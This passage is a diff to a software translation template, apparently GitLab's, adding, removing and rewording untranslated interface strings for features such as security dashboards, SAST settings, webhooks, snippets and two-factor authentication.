msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -21106,9 +21682,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -21292,6 +21874,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -21304,6 +21889,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -21430,6 +22018,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -21460,6 +22051,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21508,6 +22102,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21550,6 +22147,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21787,6 +22387,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21814,13 +22417,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21841,6 +22468,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21868,7 +22498,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21904,13 +22534,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21925,19 +22552,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21949,6 +22570,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21967,13 +22591,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -22045,7 +22669,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -22054,6 +22678,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -22084,9 +22711,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -22210,6 +22834,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -22240,6 +22867,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -22429,6 +23059,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -22441,6 +23077,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22765,19 +23407,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22873,6 +23515,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22915,7 +23560,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22966,12 +23611,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -23029,6 +23683,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -23158,10 +23815,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -24058,6 +24715,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -24106,6 +24766,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -24118,6 +24781,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -24307,6 +24973,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -24379,9 +25051,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -24418,9 +25087,6 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
@@ -24430,7 +25096,7 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -24457,6 +25123,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -24487,6 +25156,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -24541,6 +25213,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24646,13 +25324,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24691,6 +25369,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24808,6 +25489,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24883,12 +25567,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24901,6 +25588,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -25051,19 +25741,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -25087,6 +25777,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -25117,7 +25810,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -25291,9 +25984,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -25456,15 +26146,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -25525,6 +26215,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25906,9 +26599,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25993,9 +26683,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -26017,9 +26713,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -26080,6 +26773,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -26224,6 +26920,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -26293,9 +26992,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -26311,10 +27019,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
+msgstr ""
+
+msgid "Two-factor authentication disabled"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -26497,7 +27217,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26587,6 +27307,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26668,9 +27391,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26686,7 +27406,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26761,7 +27481,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26851,9 +27571,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26905,9 +27622,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -27151,9 +27865,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -27187,6 +27907,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -27223,6 +27946,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -27265,6 +27991,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -27475,6 +28207,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -27538,9 +28273,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27682,7 +28414,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27727,6 +28459,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27748,21 +28564,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27772,6 +28588,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -28093,10 +28912,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -28105,6 +28924,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -28114,6 +28939,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -28150,9 +28978,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -28186,13 +29011,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -28276,10 +29101,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -28492,6 +29317,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -28567,7 +29395,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
